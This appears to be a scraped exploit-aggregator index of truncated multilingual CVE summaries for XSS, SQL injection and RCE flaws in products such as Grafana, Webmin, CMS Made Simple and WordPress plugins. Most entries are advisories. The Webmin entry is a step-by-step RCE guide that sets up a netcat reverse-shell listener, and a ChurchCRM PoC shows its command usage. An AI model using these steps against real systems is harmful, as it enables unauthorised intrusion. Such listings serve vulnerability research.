CVE-2025-63821

CVE-2025-63821 제출자: Nicola Giuffrida 정보 공급업체: TOTOLINK 공급업체 웹사이트: TOTOLINK 모델: A720R 펌웨어 버전: V4.1.5cu.630B20250509 펌웨어 다운로드 주소: TOTOLINK 심각도 CVSS v4.0 기본 점수: 4.8 중간 벡터: CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N 취약점 세부 정보 Validitycheck 함수의 불충분한 검증으로 인해 setDiagnosisCfg 및...

CVE-2020-8825

CVE-2020-8825 게시: CVE-2020-8825 공급업체: root@kitploit: PHP VanillaForum 설명: root@kitploit: 이 취약점은 사용자가 제공한 데이터가 "index.php?p=/dashboard/settings/branding" URL로 전달될 때 충분한 살균 처리가 이루어지지 않아 발생합니다. 원격 공격자는 취약한 웹사이트의 맥락에서 사용자 브라우저에 임의의 HTML 및 스크립트 코드를 영구적으로 주입하고 실행할 수 있습니다. 이 취약점을 성공적으로 악용하면 원격 공격자가 잠재적으...

CVE-2023-43355-CMSmadesimple-Reflected-XSS---Add-user

CMSmadesimple 反射型XSS v2.2.18 作者: Sergio 説明: CMSmadesimple v.2.2.18のinstall/adduser.phpにおける複数のクロスサイトスクリプティング（XSS）脆弱性により、ローカルの攻撃者が「My Preferences - Add user」のパスワードおよびパスワード再入力フィールドに細工したスクリプトを介して任意のコードを実行できる可能性があります。 攻撃ベクトル: 「My Preferences - Add...

CVE-2023-43356-CMSmadesimple-Stored-XSS---Global-Settings

CMSmadesimple 저장형 XSS v2.2.18 저자: Sergio 설명: CMSmadesimple v.2.2.18의 Cross Site Scripting 취약점으로 인해 로컬 공격자가 Settings- Global Settings Menu의 Global MeataData에 조작된 스크립트를 통해 임의 코드를 실행할 수 있습니다. 공격 벡터: "Settings- Global Settings Menu"의 Global MeataData 항목의 삭제 과정에서 발생하는 취약점으로 인해 사용자가 웹 페이지에 접근할 때 실행될...

CVE-2023-44763_ConcreteCMS-Arbitrary-file-upload-Thumbnail

ConcreteCMS Stored XSS v.9.2.1 Yazar: Sergio Açıklama: ConcreteCMS v9.2.1, depolanmış Siteler Arası Betik Çalıştırma XSS zafiyetine olanak tanıyan Rastgele Dosya Yükleme güvenlik açığından etkilenmektedir. Saldırı Vektörleri: "Thumbnail" dosya yükleme temizliğindeki bir güvenlik açığı, gizli bir...

CVE-2024-33231

Ferozo Webmail 파일 업로드를 통한 XSS 취약점 CVE-2024-33231 설명 Ferozo Webmail 버전 1.1은 파일 업로드 기능을 통해 크로스 사이트 스크립팅XSS에 취약합니다. 공격자는 악성 JavaScript 코드가 포함된 특수하게 조작된 파일을 업로드하여 이 취약점을 악용할 수 있습니다. 파일이 애플리케이션 내에서 처리되거나 조회될 때 포함된 스크립트가 피해자의 세션 내에서 실행되어 다음과 같은 결과를 초래할 수 있습니다: 세션 하이재킹 승인되지 않은 작업 민감 정보 탈취 이 취약점은 업로드 과정에...

Moodle LTI module Reflected - Cross-Site Scripting

A reflected XSS issue was identified in the LTI module of Moodle. The vulnerability exists due to insufficient sanitization of user-supplied data in the LTI module. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's brows...

CVE-2024-39304

설명 이 스크립트는 ChurchCRM 프로젝트에서 입력값 정화sanitization가 이루어지지 않아 SQLi가 가능한 CVE-2024-39304에 대한 PoC입니다. 사용법 python3 CVE-2024-39304.py -u -p -b -v 예시: python3 CVE-2024-39304.py -u FirstLast -p Password123 -b http://localhost/churchcrm -v 링크...

CVE-2024-9264

🚨 CVE-2024-9264 - Grafana SQL 인젝션으로 인한 원격 코드 실행RCE 및 파일 읽기 CVE-2024-9264용 익스플로잇 도구, Grafana의 심각한 취약점 으로 인증된 공격자가 SQL 쿼리를 실행하여 RCE로 이어지게 합니다. 🛡️ 이 도구는 엄격히 교육 목적 및 공인된 침투 테스트 를 위한 것입니다. 무단 사용은 불법이며 비윤리적입니다. 🧠 취약점 개요 🕳️ CVE-2024-9264란? CVE-2024-9264 는 Grafana의 심각한 결함으로, 인증된 공격자가 SQL 명령을 실행하여 RCE 및 파일...

CVE-2026-22849

CVE-2026-22849: Saleor의 리치 텍스트 필드에 적절한 HTML 삭제가 없음 개요...

CVE-2026-10195 FS Poster <= 8.0.1 - Authenticated (Subscriber+) Remote Code Execution via FFmpeg Path Setting

The FS-Poster plugin for WordPress is vulnerable to Remote Code Execution in versions up to and including 8.0.1. This is due to insufficient input sanitization of the FFmpeg path parameter before passing it to the exec function, combined with missing authorization checks on the REST API endpoints...

CVE-2025-56807

CVE-2025-56807 설명 FairSketch RISE Ultimate Project Manager & CRMv3.9.4의 File Manager 기능에서 저장형 XSSStored Cross Site Scripting 취약점이 발견되었습니다. 이 취약점은 새 폴더를 만들 때 제출되는 title 매개변수 에 존재합니다. 입력값 검증이 충분하지 않기 때문에 공격자는 HTML/JavaScript 페이로드예:를 주입할 수 있습니다. 해당 페이로드는 폴더 이름에 저장되며 File Manager에서 폴더 목록을 표시할 때 실행되어,...

CVE-2025-57389

CVE-2025-57389 - OpenWRT 18.06.2의 반사형 XSS 설명 EOL Luci OpenWRT v18.06.2의 /cgi-bin/luci/admin/system/packages 엔드포인트에서 반사형 크로스사이트스크립팅XSS 취약점이 식별되었습니다. 개념 증명 1. 트래픽을 Burp으로 프록시하는 동안 http://192.168.56.2/cgi-bin/luci/admin/system/packages로 이동합니다. 2. Filter 에 아무 패키지 이름을 입력하고 제출합니다. 3. 이 엔드포인트로의 POST 요청을...

CVE-2026-13203

CVE-2026-13203 is a Stored Cross-Site Scripting (XSS) vulnerability in the Live Composer – Free WordPress Website Builder plugin, affecting versions up to 2.1.19 . The root cause is insufficient sanitization and output escaping of the custom_id shortcode attribute in the dslc_modules_section and ...

Webmin-1.580---file-show.cgi-Manual-Remote-Command-Execution-Non-Metasploit-

Webmin 1.580 RCE 실행 가이드 Webmin 1.580의 /file/show.cgi 구성 요소를 통해 인증된 원격 코드 실행RCE을 수행하기 위한 빠른 참고 자료입니다. 1. 공격 머신 리스너 페이로드를 실행하기 전에 로컬 머신에서 다음 명령을 실행하여 들어오는 연결을 캐치하세요: root@kitploit: rlwrap nc -lnvp 4444 2. 대상 익스플로잇 페이로드 다음 URL을 브라우저 주소 표시줄에 직접 붙여넣으세요 먼저 Webmin 대시보드에 로그인되어 있는지 확인하십시오: root@kitploit:...

pgAdminOpendoor

pgAdminOpendoor CVE-2025-2945 개요 이것은 CVE-2025-2945에 대한 제 연구입니다. 이 저장소에는 postgress와 취약한 pgadmin이 포함된 테스트 스탠드와 익스플로잇이 포함되어 있습니다. CVE 유용한 링크: NVD 세부 정보 WIZ 분석 Metasploit 분석 Python으로 작성된 pgAdmin 백엔드에는 적절한 입력 검증이 부족한 두 개의 엔드포인트가 있습니다. 엔드포인트는 다음과 같습니다: /sqleditor/querytool/download - querycommited 매개변수...

CVE-2026-80488 WP Ultimate CSV Importer < 9.0 - Admin+ SQLi via AIOSEO Import Fields

The WP Ultimate CSV Importer WordPress plugin before 9.0 does not properly sanitise and escape imported field values before using them in a SQL statement, which could allow high privilege users such as admin to perform SQL injection attacks...

EUVD-2026-67409

The Avada Fusion Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'size' Shortcode Attribute in all versions up to, and including, 3.15.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with...

CVE-2026-81525

The MongoDB client library for PHP does not sufficiently sanitize special elements in application-supplied namespace identifiers before using them to construct the target namespace for database operations. An application that incorporates untrusted text into these identifiers may have operations...

CVE-2026-81525

The MongoDB client library for PHP does not sufficiently sanitize special elements in application-supplied namespace identifiers before using them to construct the target namespace for database operations. An application that incorporates untrusted text into these identifiers may have operations...